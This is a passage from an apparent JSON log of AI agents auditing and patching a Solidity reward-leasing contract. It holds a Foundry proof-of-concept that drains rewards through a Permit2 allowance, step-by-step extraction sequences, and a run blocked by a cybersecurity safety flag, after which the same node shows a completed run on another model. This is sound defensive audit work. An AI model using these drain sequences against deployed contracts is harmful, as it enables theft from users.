address(0), bytes32(0), \"\");\n        address[] memory t = new address[](1);\n        t[0] = address(rwd);\n        lease.setRewardTokens(7, t);\n        vm.stopPrank();\n        vm.warp(block.timestamp + 1 hours + 1);\n        vm.prank(op);\n        lease.take(7);\n        vm.warp(block.timestamp + 1 hours + 1);\n    }\n\n    /// Owner makes the holder grant it a lasting Permit2 allowance through claim(), then drains rewards paid to\n    /// the holder during the operator's tenure before they are booked. The operator should receive 500e18.\n    function test_ownerCannotDrainHolderThroughPermit2Approval() public {\n        address holder = lease.holderOf(7);\n        vm.startPrank(owner);\n        try lease.claim(\n            7,\n            PERMIT2,\n            abi.encodeCall(MiniPermit2.approve, (address(rwd), owner, type(uint160).max, type(uint48).max)),\n            new address[](0)\n        ) {} catch {}\n        vm.stopPrank();\n\n        rwd.mint(holder, 1000e18); // distributor pays the seat's wallet during the tenure\n\n        vm.prank(owner);\n        try MiniPermit2(PERMIT2).transferFrom(holder, owner, 1000e18, address(rwd)) {} catch {}\n\n        vm.prank(op);\n        lease.quit(7); // settles the holder's declared rewards under the operator's split\n        assertEq(lease.share(7, address(rwd), op), 500e18, \"operator share taken by owner via Permit2\");\n    }\n\n    /// The same lasting allowance survives withdraw: a former owner drains rewards paid while a later owner holds the seat.\n    function test_formerOwnerCannotDrainNextDeposit() public {\n        address holder = lease.holderOf(7);\n        vm.prank(owner);\n        try lease.claim(\n            7,\n            PERMIT2,\n            abi.encodeCall(MiniPermit2.approve, (address(rwd), owner, type(uint160).max, type(uint48).max)),\n            new address[](0)\n        ) {} catch {}\n        vm.prank(op);\n        lease.quit(7);\n        address buyer = makeAddr(\"buyer\");\n        vm.startPrank(owner);\n        lease.withdraw(7);\n        nft.transferFrom(owner, buyer, 7);\n        vm.stopPrank();\n        vm.startPrank(buyer);\n        nft.setApprovalForAll(address(lease), true);\n        lease.deposit(7, 10_000, SeatLease.Mode.Permissioned, op, 0, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n        rwd.mint(holder, 1000e18);\n        vm.prank(owner);\n        try MiniPermit2(PERMIT2).transferFrom(holder, owner, 1000e18, address(rwd)) {} catch {}\n        assertEq(rwd.balanceOf(holder), 1000e18, \"former owner drained new owner's holder\");\n        lease.skim(7, address(rwd));\n        assertEq(lease.share(7, address(rwd), buyer), 1000e18, \"former owner drained new owner's rewards\");\n    }\n}","reproduction":"Ran the attached proof on this tree (copied to test/scratch/): both tests fail. State: Permit2 etched at its canonical address with a minimal AllowanceTransfer (approve/transferFrom keyed by msg.sender); reward token RWD returns allowance type(uint256).max for Permit2 (Solady default); owner deposits seat 7 Permissioned, ownerBps 5000, allowedOperator op, and setRewardTokens(7,[RWD]); after 1h+1s op takes; after another 1h+1s (warm-up over). (1) owner: claim(7, PERMIT2, abi.encodeCall(approve,(RWD, owner, type(uint160).max, type(uint48).max)), []) succeeds (no ForbiddenTarget, no balance change). (2) RWD.mint(holderOf(7), 1000e18). (3) owner: Permit2.transferFrom(holder, owner, 1000e18, RWD) succeeds. (4) op: quit(7): settlement finds 0. Expected share(7, RWD, op) == 500e18; actual 0 ('operator share taken by owner via Permit2: 0 != 500000000000000000000'). Second case: after quit, withdraw and sale of NFT 7 to buyer who deposits with ownerBps 10000; RWD.mint(holder, 1000e18); former owner: Permit2.transferFrom(holder, owner, 1000e18, RWD). Expected holder balance 1000e18 bookable to buyer; actual 0 ('former owner drained new owner's holder: 0 != 1000000000000000000000'). Once claim() rejects PERMIT2 the approve reverts ForbiddenTarget and both transferFrom calls revert on allowance, so the proof passes.","severity":"medium","snippet":"                || target == address(holder) || target.code.length == 0 || totalCredited[target] != 0\n                || _answersBalanceOf(target)","title":"claim() lets the seat owner make the holder grant a lasting Permit2 allowance, draining unbooked rewards from the operator and from later depositors of the same token id"},{"citation":"resolved","description":"Unchanged, as the author stated: quit clears the operator and pushes the whole bond in one call (lines 383-386); cutByOracle then reverts SeatVacant, and after a same-block retake the tenure binding (lines 424-427) rejects the earlier attestation. The brief specifies quit as 'operator only; clears operator; returns bond', README 'Trust model' ('Quit is instant', lines 394-399) and REVIEW.md record the limitation, and the author pinned it with test_instantQuitAndRetakeRejectsOldAttestation_documented. Not a defect within the brief; retained only so the requester can decide whether to specify an unbonding window. audit_math's low is the same item and is merged here.","line":380,"path":"src/SeatLease.sol","reproduction":"Seat 7 Open, ownerBps 5000, bondAmount 100e18, oracleSigner set; operator took at block 100. Valid true attestation for the seat's question, issuedAt >= takenAt, fromBlock 105. Operator: quit(7) -> bond.balanceOf(operator) == 100e18; anyone: cutByOracle(7, att, sig) reverts SeatVacant(7). Owner receives 0 instead of the 100e18 the bond is meant to secure. Author's test test_instantQuitAndRetakeRejectsOldAttestation_documented pins the quit-retake variant (OracleWindowPredatesTenure).","severity":"low","snippet":"    function quit(uint256 tokenId) external nonReentrant {","title":"Settled as documented design: quit() returns the bond instantly, so a watching operator escapes cutByOracle (and can quit-and-retake in the same block)"},{"citation":"resolved","description":"The brief requires a clean warning-denying build and REVIEW.md line 5 and README line 469 state it passes. On the forge installed in this workspace (1.7.1, foundry.toml lint_on_build = true) it does not: the two `forge-lint: disable-next-line(reentrancy-balance)` directives at src/SeatLease.sol lines 795 and 799 name a lint id this forge does not know and are themselves reported as warnings, and six warnings come from test code that is compiled by the build: erc20-unchecked-transfer at test/utils/Actors.sol:200 and :217, test/SeatLease.adversarial.t.sol:24 and test/SeatLease.rewards.t.sol:872, and unsafe-typecast at test/SeatLease.invariants.t.sol:42 and test/SeatLease.lifecycle.t.sol:49. Plain forge build, forge test (280 passing) and forge fmt --check are clean, so this is a deliverable/toolchain gap, not a contract defect. Fix without touching foundry.toml: drop or correct the unknown lint ids (or silence the balance re-read another way, for example by reading the holder balance once and booking the measured registry delta with a comment the linter accepts) and either check the return values in the four test transfers (or use SafeERC20/vm.expect patterns) and add disable-next-line(unsafe-typecast) comments on the two test casts, so the build is warning-free on the pinned forge as well as on the author's.","line":795,"path":"src/SeatLease.sol","reproduction":"On forge 1.7.1 (forge --version in this workspace), with test/scratch empty: `forge build --deny warnings --force` prints `warning: unknown id: 'reentrancy-balance'` for src/SeatLease.sol:795 and :799, four `warning[erc20-unchecked-transfer]` and two `warning[unsafe-typecast]` lines at the test locations above, then `aborting due to 8 linter warning(s)` and exits non-zero. Expected: exit 0 with no warnings, as REVIEW.md line 5 claims.","severity":"low","snippet":"            // forge-lint: disable-next-line(reentrancy-balance)","title":"forge build --deny warnings, an acceptance criterion the README and REVIEW claim to pass, fails on forge 1.7.1 with 8 lint warnings (unknown lint id in SeatLease.sol plus unchecked transfers and casts"},{"citation":"resolved","description":"Re-ran the attached proof Proof_327c1ca4a774.t.sol unchanged under test/scratch/: it passes on this tree (attacker receives 0 of the 10 ether paid to a vacant holder, owner gets all of it, bond refunded). Traced the fix: take() (line 369), quit() (383), cut() (395), cutByOracle() (433) and withdraw() (446) call _settleHolder, which collects the holder's ETH and every owner-declared reward token (setRewardTokens: owner-only, vacant-only, max 16, activation delayed by TERMS_DELAY) under the outgoing tenure before s.operator changes; _collect books every holder collection within TERMS_DELAY of takenAt entirely to the owner (line 805), which closes the atomic take/claim-for-holder/skim/quit path for undeclared tokens and account-keyed distributors as well. The ERC-20 variant and the cut-then-skim owner mirror named in my finding are covered by the author's regressions (testFuzz_takeSkimSweepQuitCannotTakeVacantRewards, test_permissionedCutThenSkimOrClaimCannotReassignHolderRewards, test_claimAndSkimWarmupBoundaryAndRetakeResetsIt), and the full suite passes (280 tests). Residuals the author documents in README 'Rewards and shares' and 'Trust model' and that I accept as disclosed trust conditions, not defects: (a) after the one-hour warm-up an Open-seat taker who waits can skim an undeclared token, or trigger a permissionless account-keyed claim, and receive the operator share of amounts that were already claimable, the owner having a public one-hour window to book them to itself; (b) a declared token whose transfer reverts (paused, blocklisting the holder) blocks every operator change and withdraw until it works again, because settlement failure is atomic by design; the list is owner-set, delayed and public, so an operator can inspect it before posting a bond. Specialists audit_economics, audit_flow and audit_math independently re-verified the same fix; their entries are merged here.","line":805,"path":"src/SeatLease.sol","reproduction":"test/scratch/P327.t.sol (the unchanged proof): forge test --match-path test/scratch/P327.t.sol -> PASS. Owner deposits seat 7 Open, ownerBps 5000, bond 100e18; 10 ether sent to holderOf(7) while vacant; attacker approve, take(7), skim(7, 0), sweep(7, 0), quit(7) in one transaction: attacker.balance == 0, owner share == 10 ether, bond.balanceOf(attacker) == 100e18.","severity":"info","snippet":"            address operator = block.timestamp < uint256(s.takenAt) + TERMS_DELAY ? address(0) : s.operator;","title":"Settled, fixed: prior High 327c1ca4 (holder rewards booked by the split at booking time, take/skim/sweep/quit extraction and cut-then-skim mirror)"},{"citation":"resolved","description":"sweepFor now passes gasleft() to _payShare/_tryPay while sweep keeps SWEEP_ETH_GAS per recipient, which is the ABI-preserving fix I proposed. The author's regressions test_sweepForPaysHeavyReceiverAfterBoundedSweepRetainsShare and test_sweepForWithFullGasRemainsReentrancyGuarded pass in the suite; audit_math re-ran its original HeavyReceiver reproduction and confirmed the 1 ether share is paid on sweepFor. The comment at lines 99-100 and README 'Rewards and shares' now describe behaviour that exists.","line":557,"path":"src/SeatLease.sol","reproduction":"HeavyReceiver whose receive() writes 8 cold slots owns seat 7 (Permissioned, ownerBps 10000); credit{value: 1 ether}(7, address(0), 1 ether); sweep(7, address(0)) emits ShareRetained and leaves share == 1 ether; sweepFor(7, address(0), HeavyReceiver) now pays 1 ether and share becomes 0 (previously retained again).","severity":"info","snippet":"        _payShare(tokenId, token, account, amount, gasleft());","title":"Settled, fixed: prior Low c8742c34 (sweepFor forwarded the same 100k stipend as sweep, so a heavy ETH receiver could never collect)"},{"citation":"resolved","description":"The requested documentation fix is in place: README 'Trust model' warns that only deposit may move the seat into its holder, that a plain transferFrom (including marketplace delivery) bypasses the receiver hook and permanently locks the NFT, and that deposit, withdraw and releaseNft cannot recover it. REVIEW.md records it and test_plainTransferToHolderLocksSeat_documented pins the behaviour. SeatHolder.onERC721Received is unchanged, as agreed. audit_flow's settlement entry is the same item and is merged here.","line":406,"path":"README.md","reproduction":"Seat 7 deposited then withdrawn; owner calls nft.transferFrom(owner, holderOf(7), 7). deposit(7, ...) reverts NotSeatOwner, withdraw(7) reverts SeatNotDeposited, releaseNft reverts NotRegistry. Behaviour unchanged and now documented at README.md lines 406-410.","severity":"info","snippet":"- **Only `deposit` may move a seat into its holder.** Never use plain ERC-721 `transferFrom` to send the NFT","title":"Settled, documented: prior Low e4dd366b (a seat NFT moved to its holder with plain transferFrom is locked forever)"}],"hash":"18fe4cd1560ab95f1309da95e7f3b3a5096f2457e3d1bf1665a240f9b03da053","nodeId":"c3530658-885b-4197-a6ea-05e32fd8afed","outcome":"completed","summary":"The findings file is complete and validated. No tracked files were changed; only test/scratch/ and .imd-findings.json were written.\n\n**Outcome:** one open Medium remains, my prior High is confirmed fixed, and the three prior Lows are settled. Findings are in `.imd-findings.json` with a 24-row coverage record answering all 22 entry points plus two invariants.\n\n**Prior findings settled**\n\n- **High 327c1ca4 (holder rewards split at booking time): fixed.** The attached proof passes unchanged on this tree. Every operator change and withdraw now settles holder ETH and owner-declared tokens under the outgoing split, and holder collections in the first hour of a tenure book wholly to the owner. The documented residuals (post-warm-up skim of undeclared tokens, a paused declared token blocking exits) are disclosed trust conditions, not reopened.\n- **Low quit-is-instant: unchanged and documented**, kept as low so the requester can decide on an unbonding window. It matches the brief's quit specification.\n- **Low sweepFor stipend: fixed.** sweepFor forwards available gas; the author's heavy-receiver regressions pass.\n- **Low plain transferFrom locks the seat: documented** in README Trust model and pinned by a regression.\n\n**Kept from the specialists**\n\n- **Medium, claim() Permit2 allowance (audit_permissions).** Reproduced with the attached proof, which fails both tests here. Permit2 has no balanceOf, so it passes the target guard, and the holder as msg.sender grants a lasting allowance. The owner can then drain rewards from the holder before settlement books the operator's share, and the allowance survives withdraw so a former owner can drain a later depositor. Proof attached. Minimal fix is to forbid the canonical Permit2 address; a robust fix is an owner-declared, vacant-only, delayed claim-target list.\n- The other specialist entries were re-verifications of my prior findings and are merged into the settlement entries above.\n\n**One new Low**\n\n- `forge build --deny warnings` fails on the workspace forge 1.7.1 with 8 lint warnings. Two come from a lint id the contract's disable comments name that this forge does not know. Six come from test files. Plain build, all 280 tests and fmt are clean. REVIEW.md and README claim the warning-denying build passes, so this is a deliverable gap to close without touching foundry.toml.\n\nProtected suites were rehearsed in scratch. The Project suite needs the environment variables the README documents, so it did not run here, which is expected for plain forge test.","treeHash":null,"usage":{"cachedInputTokens":1435968,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":26981,"runtime":"claude","turns":25,"wallClockMs":405685}},{"artifacts":[],"attempt":1,"bundleHash":"d5c1a49f52eb6c266e87fd44633b0a7565b23a5d3aa12441cf5257b74fc192f4","device":"35c52a5b502e847c","findings":[],"hash":"1a668a1adb2960ecbf4e5070b6cd23d89b06906b74c188e1c22aef52d51d50b7","nodeId":"2a34b96b-1799-4e07-b48c-fd4e543578c8","outcome":"completed","summary":"Revised the existing tests for per-seat custody, reward ownership, terms delays, and oracle tenure. Strengthened stateful accounting and signature invariants.\n\n- `forge build --deny warnings`: passed.\n- `forge test`: 249 passed, zero failures.\n- 11 invariant properties checked across 8,192 randomized calls.\n- SeatLease coverage: 100% branches/functions, 99.65% lines.\n\nRevision notes and a 52-test gas snapshot are saved under `test/`. All changes stay within that directory.","treeHash":"b9a31abd1d0ee984eaf684c6430fbdd15fe66b44","usage":{"cachedInputTokens":2882304,"inputTokens":114001,"model":"gpt-6-astra","outputTokens":15131,"runtime":"codex","turns":8,"wallClockMs":630160}},{"artifacts":[],"attempt":1,"bundleHash":"adb6eb74692cc3166e9cdf8ee1cc73bb98ba49038485d7b9972a3bd008c3c3ed","device":"02ae6543274731ab","findings":[],"hash":"26487812fc0afbf07e7b73b9e1f78e12452c9cb1dafacc5877e3cc3f9e61bb23","nodeId":"2a34b96b-1799-4e07-b48c-fd4e543578c8","outcome":"completed","summary":"Updated only `test/`: corrected stale expectations, expanded settlement invariants, and added oracle rollback coverage.\n\n- `forge build --deny warnings` passes.\n- All 269 test results pass.\n- Refreshed the 70-test gas snapshot.\n- SeatLease coverage: 100% branches/functions, 99.68% lines; the assembly coverage limitation is documented.\n\nNo new implementation defect was identified.","treeHash":"e390a9baa83646d88bc0882e9e6611306f111731","usage":{"cachedInputTokens":4840832,"inputTokens":114827,"model":"gpt-6-astra","outputTokens":17326,"runtime":"codex","turns":11,"wallClockMs":943269}},{"artifacts":[],"attempt":1,"bundleHash":"490e15e8470a830e1eb88b642f01a26502897731a634424e942b9d49fc41afad","device":"468e82a89b9bfe18","findings":[],"hash":"2a0a53d98ef135bba27d1b9422a5e6012fbf5a8fd7f507d27cbcd1a8bbdd34f3","nodeId":"3b934019-b9f8-4eb7-8231-d104f1d1af97","outcome":"completed","summary":"Both High findings reproduced on the starting tree and are fixed. Both reviewer proofs now pass, along with the full suite.\n\n**What changed in `src/SeatLease.sol`**\n\n- **Duplicate `tokens[]` entries (High, fixed).** The post-call booking loop now skips any token that already appears at a lower index, so each distinct token is measured and booked once. The call still succeeds with a duplicate list, which the proof requires.\n- **Token as `claim` target (High, fixed).** The target guard is now structural. A target is refused if it has no code or if it answers `balanceOf(address(this))` with a 32-byte word, on top of the existing seat NFT, bond token, self and booked-token checks. Since the registry is only ever `msg.sender` on the target, and every ERC-20 it could book answers `balanceOf`, no allowance can be created on any token. One trade-off is documented: a distributor that itself exposes `balanceOf(address)` is refused.\n- **Seat NFT via `credit` (Low, fixed).** `credit()` and the `tokens[]` list of `claim()` refuse the seat NFT with a new `ForbiddenToken` error.\n- **Trailing bytes in the ERC-1271 blob (Info, fixed).** `decodeAuthorization` re-encodes the decoded fields and reverts with `MalformedAuthorization` unless the bytes match exactly, so only the canonical encoding is accepted. `isValidSignature` still returns the failure value rather than reverting.\n- **Oracle attestation not bound to tokenId (Low, disputed).** The struct is network-defined and cannot carry the seat, so the rule \"one `questionHash` per seat\" is documented in the `deposit` NatSpec and REVIEW.md instead.\n- **Unswept balances after `withdraw` (Low, disputed).** Left as the documented accepted Low. Per-token balances cannot be enumerated on-chain, and `sweep` is permissionless before withdrawal.\n\n**Tests and docs**\n\n- Regression tests were added to the rewards and signatures suites for every fixed finding, including the approve-drain scenario, an 11-entry duplicate list, an EOA target, a `balanceOf`-answering non-token target, and a shifted-offset non-canonical blob.\n- The invariant handler now lists the reward token twice on every `claim`, so `invariant_solvent` covers the duplicate-booking gap the reviewer noted.\n- One existing test that used a token as the claim target to trigger a balance decrease now routes through a small `Burner` helper, since tokens are no longer valid targets.\n- REVIEW.md records each finding, its reproduction and disposition. `.imd-responses.json` holds one entry per finding id.\n\n**Verification**\n\n| Check | Result |\n|---|---|\n| `forge build --deny warnings` | clean |\n| `forge test` (148 tests, incl. both proofs) | all pass |\n| `forge fmt --check` | clean |\n| `forge coverage --ir-minimum` on `SeatLease.sol` | 100% lines, statements, branches, functions |\n| `.gas-snapshot` | regenerated without scratch tests |\n\nThe deploy script still requires its env vars when run bare, as it did in the accepted round. It is unchanged and its behaviour is covered by the existing Deploy tests.","treeHash":"85c686bf24361ea8fc194b0d1c9629a8050cf4f3","usage":{"cachedInputTokens":2135687,"inputTokens":578,"model":"claude-fable-5-1","outputTokens":36501,"runtime":"claude","turns":49,"wallClockMs":553622}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"02ae6543274731ab","findings":[],"hash":"43d6342de87475e3aeb951110217e32c2a836f240e4f890f4301cbd7641f2bdb","nodeId":"8910f306-f3ca-47af-bd6d-9eea15906dc3","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. Otherwise, confirm that the access_programs.cyber parameter is set to the appropriate tier, and note that some cybersecurity requests are still limited, even when Daybreak is on.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":3,"wallClockMs":229429}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"30a6c1a419ef4f9c","findings":[{"citation":"resolved","description":"Settlement of prior finding 3a770a68 (Boundary: ordering of quit vs cutByOracle). Re-run this round: the attached proof Proof_3a770a68a9f5.t.sol still fails on the revised code with 'attestation against the just-quit operator was rejected', so the behaviour is unchanged. quit clears the operator and pushes the whole bond in one call; cutByOracle then reverts SeatVacant(7), and after a same-block re-take the tenure binding rejects the same attestation with OracleWindowPredatesTenure(100,110) (author's own test test_instantQuitAndRetakeRejectsOldAttestation_documented pins this). The author did not change it and documents it in README 'Trust model' ('Quit is instant', lines 394-399) and REVIEW.md ('Medium, disputed'). I accept that settlement: the brief specifies 'quit(tokenId): operator only; clears operator; returns bond', another reviewer's held proof asserts the operator's full bond balance immediately after quit, and there is no fix that keeps quit returning the bond in the same call while making forfeiture enforceable. The Open-mode bond is therefore a deposit that deters only an operator who is not watching the mempool; the tenure binding guarantees an escaped attestation can never be turned against a later tenure. Downgraded from medium to low as a documented trust assumption. Closing this requires a scope decision by the requester (an unbonding window in the quit specification), not a code change within the brief.","line":380,"path":"src/SeatLease.sol","reproduction":"State: seat 7 deposited Open, ownerBps 5000, bondAmount 100e18, oracleSigner = oracle; operator took at block 100, bondHeld 100e18. Oracle signs attestation{requestId=keccak('req'), chainId=block.chainid, questionHash=Q, answerType=1, answer=abi.encode(true), fromBlock=90, toBlock=100, issuedAt=now, expiresAt=now+1h}. Sequence A in one block: (1) operator: quit(7) -> bond.balanceOf(operator)=100e18; (2) anyone: cutByOracle(7, att, sig) -> reverts SeatVacant(7). Brief's economics expect owner receives 100e18; actual owner 0, operator 100e18. Sequence B: at block 110 operator quit(7); take(7); then cutByOracle(7, att, sig) reverts OracleWindowPredatesTenure(100, 110); seat(7).operator == operator, bondHeld == 100e18. Both sequences are documented and pinned by the author's tests; forge test passes 269/269 with them.","severity":"low","snippet":"    function quit(uint256 tokenId) external nonReentrant {\n        Seat storage s = _seats[tokenId];\n        if (msg.sender != s.operator) revert NotOperator(tokenId, msg.sender);\n        _settleHolder(tokenId);\n        uint256 held = _clearOperator(s);\n        emit SeatQuit(tokenId, msg.sender, held);\n        _payBond(msg.sender, held);\n    }","title":"Settled as accepted design: quit() returns the bond instantly, so an operator who front-runs cutByOracle (or quits and retakes in the same block) is never forfeited"},{"citation":"resolved","description":"Settlement of prior advisory f9425f45. sweep still pushes ETH with the 100_000-gas stipend so one recipient cannot block the other; sweepFor now passes gasleft() to _payShare/_tryPay. Verified with my original reproduction (HeavyReceiver writing 8 cold storage slots as seat owner, ownerBps 10000, 1 ether credited): sweep emits ShareRetained and leaves share == 1 ether; sweepFor(7, address(0), HeavyReceiver) then pays 1 ether, share becomes 0, credited and totalCredited(address(0)) return to 0. The author's regressions test_sweepForPaysHeavyReceiverAfterBoundedSweepRetainsShare and test_sweepForWithFullGasRemainsReentrancyGuarded cover the same path and the reentrancy guard with the larger budget. The comment at lines 99-100 and README lines 365-369 now describe behaviour that exists. No action needed.","line":557,"path":"src/SeatLease.sol","reproduction":"HeavyReceiver h (receive() writes 8 cold slots, ~177k gas); nft.mint(h, 7); h deposits seat 7 (Permissioned, ownerBps 10000). credit{value: 1 ether}(7, address(0), 1 ether). sweep(7, address(0)) -> ShareRetained, h.balance == 0, share(7, 0, h) == 1 ether. sweepFor(7, address(0), h) -> h.balance == 1 ether, share == 0, totalCredited(0) == 0. Passes on the revised code (previously the second call retained again).","severity":"info","snippet":"        _payShare(tokenId, token, account, amount, gasleft());","title":"Fixed: sweepFor now forwards available gas, so an ETH share owed to a recipient whose receive() needs more than SWEEP_ETH_GAS is collectable"},{"citation":"resolved","description":"Settlement of prior advisory 5588411b and coverage note for the new warm-up rule in _collect. The timing lever remains (README 'Owner can cut any time' and 'Distributor behavior'; REVIEW.md revision 2 Low): rewards a distributor pays only on claim() reach the holder when the owner chooses, and an owner who cuts first books them while vacant. This is a documented trust assumption, not a defect within the brief. I also checked the numerical edges of the new rule: holder collections one second before takenAt + TERMS_DELAY book entirely to the owner and at exactly takenAt + TERMS_DELAY split by ownerBps; a quit inside warm-up books the holder's balance entirely to the owner (documented); while vacant takenAt == 0 so the expression degenerates to operator == address(0) as intended. _book rounds the owner part down and gives the remainder to the operator, and for fuzzed amount in [1, 1e30] and bps in [0, 10000] ownerPart + operatorPart == amount and sweep pays exactly those parts with nothing left in the registry. Owner operating its own seat with ownerBps 0 receives the full amount once and a second sweep reverts ZeroAmount.","line":805,"path":"src/SeatLease.sol","reproduction":"State: seat 7 Open, ownerBps 0, operator seated and past warm-up; MockDistributor owes the holder 1_000e18 RWD, paying msg.sender on claim(). Owner in one tx: cut(7); claim(7, distributor, claim(), [RWD]); sweep(7, RWD). _book runs with operator == address(0), ownerPart = 1_000e18. Owner receives 1_000e18, operator 0. Documented; author's test test_claim_ownerCanRouteRecipientParameterisedPayoutsAway_documented and README pin the trust assumption. Boundary check: seat 7 Open 5000 bps, vm.deal(holder, 10 ether), warp(takenAt + 3599), skim -> owner share 10 ether, operator 0; deal 10 ether, warp(takenAt + 3600), skim -> owner 15 ether, operator 5 ether.","severity":"info","snippet":"            address operator = block.timestamp < uint256(s.takenAt) + TERMS_DELAY ? address(0) : s.operator;","title":"Settled, documented: owner can cut then claim/skim so a distributor payout for the operator's tenure books 100% to the owner; warm-up boundary and split arithmetic verified"}],"hash":"478d032d05e0c9e05c5f802650580ac0367f07f3ed35218b3600a6ed2299c0e8","nodeId":"f086f98e-8003-4392-88d1-39cd4586e7ce","outcome":"completed","summary":"The findings file is valid, the snippets match the tree at their cited lines, and no tracked file changed. The scratch tests I ran were deleted.\n\n**Outcome:** all three prior findings are settled. No new defect was found in the Math Precision, Boundary or Numerical Gap areas.\n\n- **Quit escapes oracle forfeiture (was medium, now low, accepted design).** The attached proof still fails on the revised code, so the behaviour is unchanged: quit returns the bond in the same call, cutByOracle then reverts with SeatVacant, and a same-block retake makes the tenure binding reject the attestation. The author documents this in the README trust model and REVIEW.md. I accept that settlement because the brief itself specifies instant bond return and no fix exists that keeps that guarantee while enforcing forfeiture. Closing it fully needs a scope decision on an unbonding window, not a code change.\n- **sweepFor gas stipend (was low, fixed).** sweepFor now forwards all available gas. My original heavy-receiver reproduction now passes: sweep retains the share, sweepFor pays it in full and the accounting returns to zero.\n- **Owner cut-then-claim timing lever (info, documented).** Unchanged and documented. I also verified the new warm-up rule at its boundary: collections one second before takenAt plus one hour go entirely to the owner, and at exactly that time they split by ownerBps. Fuzzed booking over amounts and bps conserves the total, with the owner rounding down.\n\nVerification run this round:\n\n| Check | Result |\n|---|---|\n| forge build, warnings denied | clean |\n| forge test, full suite | 269 passed, 0 failed |\n| Attached proof for the quit finding | still fails, as reported |\n| Scratch tests for stipend fix, warm-up boundary, rounding, self-operation | 5 passed |\n\nThe coverage record answers all 22 listed entry points plus two invariants. Two rows point at finding 1 (quit and cutByOracle); every other entry point holds.","treeHash":null,"usage":{"cachedInputTokens":958708,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":18242,"runtime":"claude","turns":23,"wallClockMs":293208}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"1f86857ac0159d77","findings":[{"citation":"resolved","description":"Settlement of my prior finding. The supplied proof Proof_5c94a187d98a.t.sol was copied to test/scratch/ and run against the revised code: it PASSES (stranger receives 0 reward, owner receives 2000e18, bond returned). The fix holds: (1) take() calls _settleHolder before setting the operator (line 369), so ETH and every owner-declared reward token already sitting in the holder is booked 100% to the owner before the tenure starts; (2) _collect books 100% to the owner while block.timestamp < takenAt + TERMS_DELAY (line 805), so an atomic take / claim-for-holder / skim / sweep / quit earns nothing, for declared and undeclared tokens alike; (3) the owner-side mirror I described (rewards arrive during a tenure, owner backruns with cut then skim) is closed for ETH and declared tokens because cut, quit and cutByOracle call _settleHolder before _clearOperator (lines 395-396, 383-384, 433-434); I verified with a scratch test that after cut the operator holds 500e18 of a 1000e18 declared-token arrival and 5 ETH of a 10 ETH arrival. The bond token can be declared as a reward without confusing bondHeld (held is measured before _settleHolder). credit() still splits immediately during warm-up, by design. What remains is the non-atomic variant, which the author scopes out explicitly in README 'Reward accounting' (lines 358-362: 'unclaimed distributor entitlements are not holder balances. After warm-up, their later collection uses the current split') and REVIEW.md lines 32-36. A stranger who posts the bond, waits one hour, then triggers a third-party account-keyed claim for the holder and skims, is paid (10000 - ownerBps)/10000 of entitlements that accrued during the vacancy. Mitigations: the owner (or anyone) can claim or skim during the vacancy and during the first hour of any tenure and the whole amount books to the owner (verified); the stranger's bond is locked for the hour and exposed to cutByOracle; and under the network's stated distributor model (claim() pays msg.sender, so only the holder via claim() can collect) the stranger cannot trigger the claim at all, so the residual only exists for third-party account-keyed distributors. Undeclared ERC-20s left in the holder across a tenure boundary are likewise attributed to whoever is seated when they are skimmed after warm-up (owner 100% after cut; operator share after take+1h); documented, and the owner controls the list. I accept this as a documented low-impact trust condition rather than a defect requiring another revision: it is disclosed, the owner has a permissionless defense at every moment, and no atomic or flash-loanable path remains. No code change requested.","line":805,"path":"src/SeatLease.sol","reproduction":"Documented residual, for the record (test/scratch/WarmupResidual.t.sol::test_A_nonAtomicAfterWarmup, run this round): owner deposits seat 1 Open, ownerBps=5000, bond=100e18, declares reward token; 1000e18 is owed to holderOf(1) at an AccountClaimDistributor (claim(account) callable by anyone) while the seat is vacant for 7 days. Stranger: bond.approve; take(1); vm.warp(+1 hours); distributor.claim(holder); skim(1, reward); sweep(1, reward); quit(1). Result: stranger 500e18, owner 500e18, bond returned. Same sequence without the warp (the original proof) now yields stranger 0, owner 2000e18. Owner defense verified (test_A2): distributor.claim(holder) + skim at take+30min books 1000e18 to owner, 0 to stranger.","severity":"info","snippet":"            address operator = block.timestamp < uint256(s.takenAt) + TERMS_DELAY ? address(0) : s.operator;","title":"Prior high 5c94a187 (take+skim extraction of vacancy-period rewards) is FIXED; documented residual: after the one-hour warm-up, unclaimed account-keyed distributor entitlements are still split by the "}],"hash":"5df3b133d86868bd1903ff860a1b5285d996093bc2fde6c3a45644dc5aa39fa9","nodeId":"8910f306-f3ca-47af-bd6d-9eea15906dc3","outcome":"completed","summary":"The prior high finding is settled as fixed, and the report is written to `.imd-findings.json`.\n\n**Settled finding 5c94a187 (take + skim extraction of vacancy-period rewards): fixed.** My attached proof, run against the revised code, now passes: the stranger receives no reward and the owner receives the full 2,000e18. Three changes close it. `take` settles the holder's ETH and declared tokens to the owner before seating the operator. `_collect` books everything to the owner during the first hour of any tenure, so the atomic take, claim-for-holder, skim, sweep, quit sequence earns nothing. `cut`, `quit` and `cutByOracle` settle under the outgoing operator before clearing, which closes the owner-side mirror I had described. I confirmed the mirror with a scratch test: after `cut`, the operator holds half of a declared-token arrival and half of an ETH arrival.\n\n**One documented residual, recorded as info, no change requested.** A stranger who posts the bond, waits out the hour, then triggers a third-party account-keyed claim for the holder and skims still splits entitlements that accrued during vacancy. The README and REVIEW.md scope this out explicitly, the owner can claim or skim at any moment during vacancy or the first hour and book 100% to itself (verified), the stranger's bond is locked and oracle-exposed for that hour, and under the network's stated msg.sender-paying distributor model the stranger cannot trigger the claim at all.\n\n**No new defects.** The full suite passes with 270 tests, including the custody, shares-sum-to-credited, swept-never-exceeds-credited and solvency invariants. Coverage rows are written for all 22 listed entry points plus the two invariant groups. The scratch tests I used were removed, so the only file added is the findings report.","treeHash":null,"usage":{"cachedInputTokens":745704,"inputTokens":290,"model":"claude-fable-5-1","outputTokens":19613,"runtime":"claude","turns":22,"wallClockMs":269593}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"2a5d68f89de314cb","findings":[{"citation":"resolved","description":"take(tokenId) reads every term (mode, bondAmount, ownerBps, oracleSigner, questionHash) from storage at execution time and carries no parameter naming the terms the caller agreed to. setTerms() is unrestricted while the seat is vacant, so the seat owner can change any term in the 